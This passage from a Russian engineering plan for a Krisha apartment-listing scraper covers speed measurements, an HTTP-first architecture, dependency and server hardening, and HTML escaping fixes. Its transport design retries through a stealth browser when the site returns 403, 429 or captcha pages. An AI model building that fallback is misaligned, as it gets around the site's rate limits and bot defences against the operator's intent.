\u043e\u0431\u044b\u0447\u043d\u043e\u043c HTML:\n\n- \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0432\u044b\u0434\u0430\u0447\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 `window.data.search`, IDs \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0439, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b\n  \u043f\u043e\u0438\u0441\u043a\u0430 \u0438 \u043e\u0431\u0449\u0435\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432;\n- \u043a\u0430\u0440\u0442\u043e\u0447\u043a\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 `script#jsdata` / `window.data`\n  \u0441 \u0446\u0435\u043d\u043e\u0439, \u043a\u043e\u043c\u043d\u0430\u0442\u0430\u043c\u0438, \u043f\u043b\u043e\u0449\u0430\u0434\u044c\u044e, \u0444\u043e\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044f\u043c\u0438, \u0430\u0434\u0440\u0435\u0441\u043e\u043c \u0438 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u0430\u043c\u0438;\n- \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 `parse_listing_page` \u0438 `parse_detail_page` \u0443\u0436\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u044e\u0442\n  \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0439 HTML \u0431\u0435\u0437 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430.\n\n\u0421\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043e\u043d \u043f\u0440\u0438\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u043b\u044c\u0437\u0443.\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0432\u044b\u0438\u0433\u0440\u044b\u0448 \u0434\u0430\u0441\u0442 \u0441\u043c\u0435\u043d\u0430 transport, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u0435 \u0443\u0434\u0430\u0447\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 parser.\n\n### \u0416\u0438\u0432\u044b\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f\n\n\u0417\u0430\u043c\u0435\u0440\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b 2026-07-24 \u0438\u0437 \u0410\u043b\u043c\u0430\u0442\u044b; \u043f\u0435\u0440\u0435\u0434 merge \u0438\u0445 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c.\n\n| \u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 | \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 |\n|---|---:|\n| Listing, \u043e\u0431\u044b\u0447\u043d\u044b\u0439 HTTP GET | HTTP 200, TTFB 0.130 s, total 0.135 s |\n| Detail, \u043e\u0431\u044b\u0447\u043d\u044b\u0439 HTTP GET | HTTP 200, TTFB 0.102 s, total 0.104 s |\n| Listing \u0441 room/price/photo/owner filters | HTTP 200, total 0.129 s |\n| IDs \u0438\u0437 listing HTML | 23 |\n| \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0432 \u0432\u044b\u0434\u0430\u0447\u0435 | 10,356 |\n| \u0414\u0430\u043d\u043d\u044b\u0435 detail \u0438\u0437 `window.data` | price, rooms, area, address, coordinates, 9 photos |\n\n\u0418\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a \u0442\u0435\u043a\u0443\u0449\u0438\u0445 parser-\u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043d\u0430 \u0441\u043a\u0430\u0447\u0430\u043d\u043d\u043e\u043c HTML \u0434\u0430\u043b:\n\n- `parse_listing_page`: 23 URL, total 10,356, \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u044b\u0439 next page;\n- `parse_detail_page`: \u043f\u043e\u043b\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c Apartment \u0441\u043e \u0432\u0441\u0435\u043c\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438.\n\n\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e skill \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442 ingestion \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0437 20 \u043a\u0432\u0430\u0440\u0442\u0438\u0440 \u0432\n2\u20135 \u043c\u0438\u043d\u0443\u0442. \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u044d\u0444\u0444\u0435\u043a\u0442 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u043e\u0439 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b:\n\n- listing transport: \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e **10\u201330\u00d7 \u0431\u044b\u0441\u0442\u0440\u0435\u0435**;\n- listing + 20 detail pages: \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e **3\u201310\u00d7 \u0431\u044b\u0441\u0442\u0440\u0435\u0435**;\n- \u043f\u043e\u043b\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u043f\u043e\u0438\u0441\u043a \u0441 \u0430\u043d\u0430\u043b\u0438\u0437\u043e\u043c \u0442\u043e\u043b\u044c\u043a\u043e shortlist:\n  \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u043e\u0447\u043d\u043e **3\u20138\u00d7 \u0431\u044b\u0441\u0442\u0440\u0435\u0435**;\n- \u0435\u0441\u043b\u0438 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u0441\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0432 LLM, \u043e\u0431\u0449\u0438\u0439 \u0432\u044b\u0438\u0433\u0440\u044b\u0448 \u0441\u043d\u0438\u0437\u0438\u0442\u0441\u044f \u0434\u043e\n  **1.5\u20133\u00d7**, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e bottleneck \u043f\u0435\u0440\u0435\u043c\u0435\u0441\u0442\u0438\u0442\u0441\u044f \u0432 \u043c\u043e\u0434\u0435\u043b\u044c.\n\n\u042d\u0442\u043e \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u043c benchmark \u0432 CI \u0438\u043b\u0438\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c script.\n\n---\n\n## \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430\n\n```text\nSearch request\n  \u2193\nBuild server-side Krisha query\n  \u2193\nAdaptiveTransport\n  \u251c\u2500 HTTP GET through one pooled session\n  \u2502    \u2193\n  \u2502  Validate status + expected structural markers\n  \u2502    \u251c\u2500 valid \u2192 parser\n  \u2502    \u2514\u2500 blocked/incomplete \u2192 browser fallback\n  \u2514\u2500 CloakBrowser fallback for the exact URL\n       \u2193\nListing parser: IDs + cheap card data\n  \u2193\nHard filters + cheap ranking\n  \u2193\nFetch detail only for selected/unknown IDs\n  \u2193\nDeterministic scoring\n  \u2193\nEmbeddings / LLM / vision only for finalists\n  \u2193\nReport with source, freshness and transport telemetry\n```\n\n\u041d\u0443\u0436\u043d\u044b \u0434\u0432\u0430 \u044f\u0432\u043d\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u0440\u0435\u0436\u0438\u043c\u0430:\n\n1. **Interactive shortlist** \u2014 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u0430; detail \u0438 LLM \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f\n   \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u0447\u0438\u0441\u043b\u0430 \u043b\u0443\u0447\u0448\u0438\u0445 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u043e\u0432.\n2. **Monitoring/full ingest** \u2014 \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0432\u0430\u0436\u043d\u0435\u0435 latency; \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c details \u0432\u0441\u0435\u0445\n   \u043d\u043e\u0432\u044b\u0445 IDs, \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0438\u0445 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 early stop \u043f\u043e known IDs.\n\n\u041d\u0435 \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0439 full-ingest shortlist-\u0440\u0435\u0436\u0438\u043c\u043e\u043c: \u044d\u0442\u043e \u0440\u0430\u0437\u043d\u044b\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u0438.\n\n---\n\n## P0 \u2014 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0440\u0438\u0441\u043a\u0438 \u0434\u043e \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438\n\n### 1. \u0417\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438\n\n\u0410\u0443\u0434\u0438\u0442 lockfile \u043d\u0430 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c commit \u043d\u0430\u0448\u0451\u043b 16 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0447\u0435\u0442\u044b\u0440\u0451\u0445\n\u043f\u0430\u043a\u0435\u0442\u0430\u0445:\n\n- `chromadb 1.5.9` \u2014 `PYSEC-2026-311`, pre-auth code injection, \u0432 \u043e\u0442\u0447\u0451\u0442\u0435 \u043d\u0435\u0442\n  \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438;\n- `pillow 12.2.0` \u2014 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e advisories, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 `12.3.0`;\n- `setuptools 81.0.0` \u2014 `PYSEC-2026-3447`, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 `83.0.0`;\n- `torch 2.12.1` \u2014 `PYSEC-2025-194`, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 `2.13.0`.\n\n\u0421\u0434\u0435\u043b\u0430\u0442\u044c:\n\n- \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 lockfile;\n- \u043f\u043e `chromadb` \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u044f\u0432\u043d\u043e\u0435 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435: \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c, \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u043b\u0438\n  \u0441\u0434\u0435\u043b\u0430\u0442\u044c optional extra; \u0443\u044f\u0437\u0432\u0438\u043c\u0430\u044f \u0441\u0435\u0442\u0435\u0432\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u0430 \u0432\u0445\u043e\u0434\u0438\u0442\u044c \u0432 default\n  install;\n- \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c `pip-audit` \u0432 CI;\n- \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0448\u0438\u0440\u043e\u043a\u0438\u0435 `>=` \u0434\u043b\u044f production runtime \u0431\u0435\u0437 lockfile;\n- \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u044c extras:\n  - `core`: parser, HTTP client, SQLite;\n  - `browser`: CloakBrowser/Playwright;\n  - `ai`: embeddings/LLM/vision;\n  - `server`: MCP/REST server;\n- \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u044f\u0436\u0451\u043b\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 lazy-imported, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u044b\u0447\u043d\u044b\u0439 parser/search \u043d\u0435\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b Torch/Chroma.\n\n### 2. \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0435 server defaults\n\n\u0421\u0435\u0439\u0447\u0430\u0441 REST API \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u0443\u0448\u0430\u0442\u044c `0.0.0.0`, \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 mutating\nendpoints \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0434\u0435\u043b\u0430\u0442\u044c:\n\n- default host: `127.0.0.1`;\n- `reload=False` \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e;\n- fail-fast \u043f\u0440\u0438 bind \u043d\u0430 non-loopback \u0431\u0435\u0437 \u044f\u0432\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438;\n- \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 CLI/docs \u043f\u0440\u0438 \u0432\u043d\u0435\u0448\u043d\u0435\u043c bind;\n- \u043d\u0435 \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043a\u0435\u043d\u044b, cookies, \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 private prompts;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c CORS \u044f\u0432\u043d\u044b\u043c allowlist;\n- \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c threat model \u0434\u043b\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e MCP \u0438 REST \u0440\u0435\u0436\u0438\u043c\u0430.\n\n### 3. HTML report generator\n\n\u0421\u0435\u0439\u0447\u0430\u0441 title, description, URL \u0438 photo values \u043c\u043e\u0433\u0443\u0442 \u0438\u043d\u0442\u0435\u0440\u043f\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 HTML\n\u0431\u0435\u0437 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0433\u043e escaping, \u0430 preview server \u0441\u043b\u0443\u0448\u0430\u0435\u0442 \u0432\u0441\u0435 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0435\u043d\n\u0440\u0430\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e.\n\n\u0421\u0434\u0435\u043b\u0430\u0442\u044c:\n\n- \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u0441\u044c \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0447\u0435\u0440\u0435\u0437 `html.escape`;\n- \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0442\u044c \u0434\u043b\u044f \u0441\u0441\u044b\u043b\u043e\u043a/\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0442\u043e\u043b\u044c\u043a\u043e `http:` \u0438 `https:`;\n- \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0442\u044c `javascript:`, `data:` \u0438 \u043d\u0435\u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0435 URL;\n- \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c preview server \u043a `127.0.0.1`;\n- \u0440\u0430\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0443\u044e report directory, \u043d\u0435 current working directory;\n- \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u0433\u0438\u0439 CSP;\n- \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c regression tests \u043d\u0430 ``, ``,\n  `javascript:` \u0438 HTML entities.\n\n---\n\n## P1 \u2014 HTTP-first transport \u0441 browser fallback\n\n\u041d\u0435 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0439 HTTP-\u043b\u043e\u0433\u0438\u043a\u0443 \u043f\u0440\u044f\u043c\u043e \u0432 adapter. \u0412\u0432\u0435\u0434\u0438 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 transport contract.\n\n\u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 (\u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a \u0441\u0442\u0438\u043b\u044e \u043f\u0440\u043e\u0435\u043a\u0442\u0430):\n\n```python\n@dataclass(frozen=True)\nclass FetchResult:\n    url: str\n    final_url: str\n    status_code: int\n    html: str\n    transport: Literal[\"http\", \"browser\"]\n    elapsed_ms: int\n    fallback_reason: str | None = None\n\n\nclass Transport(Protocol):\n    async def fetch(\n        self,\n        url: str,\n        *,\n        expected_page: Literal[\"listing\", \"detail\"],\n    ) -> FetchResult: ...\n```\n\n\u0420\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c:\n\n### `HttpTransport`\n\n- \u043e\u0434\u0438\u043d \u0434\u043e\u043b\u0433\u043e\u0436\u0438\u0432\u0443\u0449\u0438\u0439 `httpx.AsyncClient`;\n- connection pooling, compression, redirects, timeouts;\n- \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u0439 \u0447\u0435\u0441\u0442\u043d\u044b\u0439 User-Agent \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0438 \u043e\u0431\u044b\u0447\u043d\u044b\u0435 browser-compatible headers;\n- HTTP/2 \u2014 \u043e\u043f\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 benchmark \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u0443;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 \u043e\u0442\u0432\u0435\u0442\u0430;\n- \u043d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f JavaScript;\n- cookies \u0436\u0438\u0432\u0443\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u043d\u0443\u0442\u0440\u0438 session \u0438 \u043d\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f \u0432 git/logs;\n- \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u0435 client.\n\n### `BrowserTransport`\n\n- \u043e\u0431\u0451\u0440\u0442\u043a\u0430 \u043d\u0430\u0434 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c CloakBrowser;\n- browser context \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u0430\u043c, \u0433\u0434\u0435 \u044d\u0442\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e;\n- \u0443\u0431\u0440\u0430\u0442\u044c \u0431\u0435\u0437\u0443\u0441\u043b\u043e\u0432\u043d\u044b\u0439 `wait_for_timeout(2000)`;\n- \u0436\u0434\u0430\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 marker:\n  - listing: `script#jsdata`, `window.data.search`, \u043b\u0438\u0431\u043e listing card container;\n  - detail: `script#jsdata` \u0441 advert data;\n- \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 timeout \u0438 \u0434\u0438\u0430\u0433\u043d\u043e\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0440\u0438\u0447\u0438\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438.\n\n### `AdaptiveTransport`\n\n\u0410\u043b\u0433\u043e\u0440\u0438\u0442\u043c:\n\n1. \u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c HTTP GET.\n2. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c status code.\n3. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0447\u0442\u043e \u043e\u0442\u0432\u0435\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u043c\u0443 \u0442\u0438\u043f\u0443 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.\n4. \u0415\u0441\u043b\u0438 \u0432\u0441\u0451 \u0432\u0430\u043b\u0438\u0434\u043d\u043e \u2014 \u0432\u0435\u0440\u043d\u0443\u0442\u044c HTTP result.\n5. \u0415\u0441\u043b\u0438 \u043e\u0442\u0432\u0435\u0442 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d, challenge-like \u0438\u043b\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e \u043d\u0435\u043f\u043e\u043b\u043e\u043d \u2014 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d\n   browser fallback \u0434\u043b\u044f \u0442\u043e\u0433\u043e \u0436\u0435 URL.\n6. \u041f\u0440\u043e\u0432\u0430\u043b\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u0441 typed error, \u0435\u0441\u043b\u0438 \u043e\u0431\u0430 \u043f\u0443\u0442\u0438 \u043d\u0435 \u0434\u0430\u043b\u0438 \u0432\u0430\u043b\u0438\u0434\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.\n\nBrowser fallback \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u0438:\n\n- `403`, `429`, `503`;\n- challenge/captcha/interstitial markers;\n- \u043f\u0443\u0441\u0442\u043e\u043c/\u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e \u043a\u043e\u0440\u043e\u0442\u043a\u043e\u043c HTML;\n- \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0445 markers;\n- \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0438 parser invariants;\n- redirect \u043d\u0430 \u043d\u0435\u0442\u0438\u043f\u0438\u0447\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.\n\nBrowser fallback **\u043d\u0435** \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u0438:\n\n- \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u043c HTTP 200 \u0441 \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u043c `jsdata`;\n- \u043e\u0431\u044b\u0447\u043d\u043e\u043c \u043d\u0443\u043b\u0435\u0432\u043e\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u043e\u0438\u0441\u043a\u0430;\n- parser bug, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0436\u0435 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430 \u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0439 fixture \u2014 \u0442\u0430\u043a\u043e\u0439 bug \u043d\u0430\u0434\u043e\n  \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c, \u0430 \u043d\u0435 \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u043c.\n\n\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c telemetry:\n\n- transport;\n- elapsed time;\n- response size;\n- fallback reason;\n- retry count;\n- page type;\n- parser outcome;\n- \u0431\u0435\u0437 URL query values, \u0435\u0441\u043b\u0438 \u0442\u0430\u043c \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.\n\n\u041f\u043e\u0441\u043b\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043e\u043a \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0435\u0441\u0442\u044c\nbrowser \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e host/session. \u041d\u0443\u0436\u043d\u044b cooldown \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f 